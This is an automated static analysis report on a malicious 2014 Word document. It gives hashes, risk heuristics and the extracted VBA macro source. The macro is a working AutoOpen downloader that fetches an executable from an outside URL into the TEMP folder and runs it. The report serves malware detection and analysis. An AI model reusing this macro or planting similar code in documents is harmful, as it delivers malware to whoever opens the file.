Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e52e539eae9635e5…

MALICIOUS

Office (OLE)

86.0 KB Created: 2014-03-06 12:29:00 Authoring application: Microsoft Office Word First seen: 2014-03-15
MD5: ac599bbc594f99401d9aba1574a9bef1 SHA-1: 954055aa91c169a5c2b65fdc98c8383dd19d371b SHA-256: e52e539eae9635e59ee0f1066010cb3a26a5e9860a18300ba712b70ccbf96d51
258 Risk Score

Heuristics 9

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Environ("TEMP") & "\albniko.exe"
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare Function URLDownloadToFile _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    URLDownloadToFile 0, "http://drsni.com/statement.exe", Environ("TEMP") & "\albniko.exe", 0, 0
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://drsni.com/statement.exe� Referenced by macro
    • http://drsni.com/statement.exeReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1017 bytes
SHA-256: 3ba4831aa7b21eae38b67ed4e4ed80979762e93e18188498a806d32651be13b7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare Function URLDownloadToFile _
                Lib "urlmon" _
                Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
                                            ByVal szURL As String, _
                                            ByVal szFileName As String, _
                                            ByVal dwReserved As Long, _
                                            ByVal lpfnCB As Long) As Long
Sub AutoOpen()
    On Error Resume Next

GoTo niko1

niko1:
GoTo niko2

niko2:
GoTo niko3

niko3:
URLDownloadToFile 0, "http://drsni.com/statement.exe", Environ("TEMP") & "\albniko.exe", 0, 0
Shell Environ("TEMP") & "\albniko.exe"
End Sub